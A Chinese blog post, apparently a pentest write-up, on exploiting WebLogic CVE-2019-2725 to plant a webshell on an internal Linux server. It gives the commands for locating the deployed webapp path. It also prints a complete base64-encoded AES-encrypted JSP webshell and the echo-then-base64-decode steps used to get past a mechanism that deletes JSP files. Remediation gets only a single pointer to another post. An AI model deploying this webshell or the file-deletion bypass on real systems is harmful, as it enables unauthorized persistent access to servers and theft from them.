美文网首页TIDE_网络安全
从RCE到隔离内网(二)

从RCE到隔离内网(二)

作者: RabbitMask | 来源:发表于2019-06-26 12:45 被阅读20次

    在上次经历过一次借助CVE-2019-2725 RCE拿到webshell之后,又碰到了一例,依然是一个纯内网机,区别在于本次目标服务器为Linux系统,且系统环境堪称诡异,作为一台linux居然存在某种防护机制,会删除写入的jsp文件,但又不像杀毒软件的内容检测机制,txt并不会被清除,然而会在重命名为jsp时被清除。

    因为这个端口是扫到的,所以预先并不知道其web应用的存在,刚开始也没有想过要去找web应用,直接借助网上公开的exp开始利用,写入webshell,但是正如上面提到的某种防护机制,木马文件被清除了。这里exp的webshell直接写入到bea_wls_internal模块下,后来我们又手动往我们所熟悉的uddiexplorer模块下写shell,发现同样被清除。

    在老大的指导下,发现web应用写入的shell居然没有被清除!这个机制确实诡异,难道系统模块才会被实时检测?我们刚开始只是认为是不是需要重启weblogic生效,后来发现目标路径下确实没有我们的文件,这里关于web应用的获取便成了一个很细节的一环。

    webapp名称获取

    个人理解两种思路:

    • 1、路径猜解,其实昨天字典给力,确实被我猜到了,但是那个web应用有点小问题,而且也没考虑到web应用路径和系统模块路径会被区别对待,所以没有继续尝试。
      再枚举到web应用名称后,即可find检索:
    find /weblogic -name 'XXXX' -type d
    
    • 2、路径列出,当然这个需要对weblogic路径相对敏感,然后借助RCE直接获取当前部署的web应用名称。
    ls /weblogic/user_projects/domains/XXXX/servers/XX/tmp/_WL_user
    

    在正式开始之前,还要提一点,网上傻瓜式的exp确实好用,但只适用于windows,在Linux环境下,它的命令无法读取组合命令,如dir /tmp,它只执行了dir,所以这里强烈案例借助burp重放post包的方式进行RCE。

    写入webshell

    还是熟悉的套路,webshell bash64加密:


    将加密后的payload写入到web应用路径下(txt):

    echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzIikhPW51bGwpe1N0cmluZyBrPSgiIitVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7JT4= >/weblogic/user_projects/domains/XXXX/servers/XX/tmp/_WL_user/cmss/odtlyx/war/jsp/rabbit.txt
    

    对txt中的payload进行base64解码:

    base64 -d /weblogic/user_projects/domains/XXXX/servers/XX/tmp/_WL_user/cmss/odtlyx/war/jsp/rabbit.txt >/weblogic/user_projects/domains/XXXX/servers/XX/tmp/_WL_user/cmss/odtlyx/war/jsp/rabbit.jsp
    

    总结

    修复建议参考从RCE到隔离内网(一)。

    说实话,本文写出来并不好看,但鬼晓得我们一群人在这上面绕了多久,假想了一个杀毒软件,分析进程到现在也没搞清楚是什么防护机制,没想到会存在一个区别对待的机制,也没想到走要去走webapp的方向,我很难说今天碰到的不是一个特例,但谁又能保证下一个不是特例呢?

    一句话思路概括:如果遇到系统模块无法写入shell的情况,试着去找下webapp地址与路径吧。

    相关文章

      网友评论

        本文标题:从RCE到隔离内网(二)

        本文链接:https://www.haomeiwen.com/subject/onlqcctx.html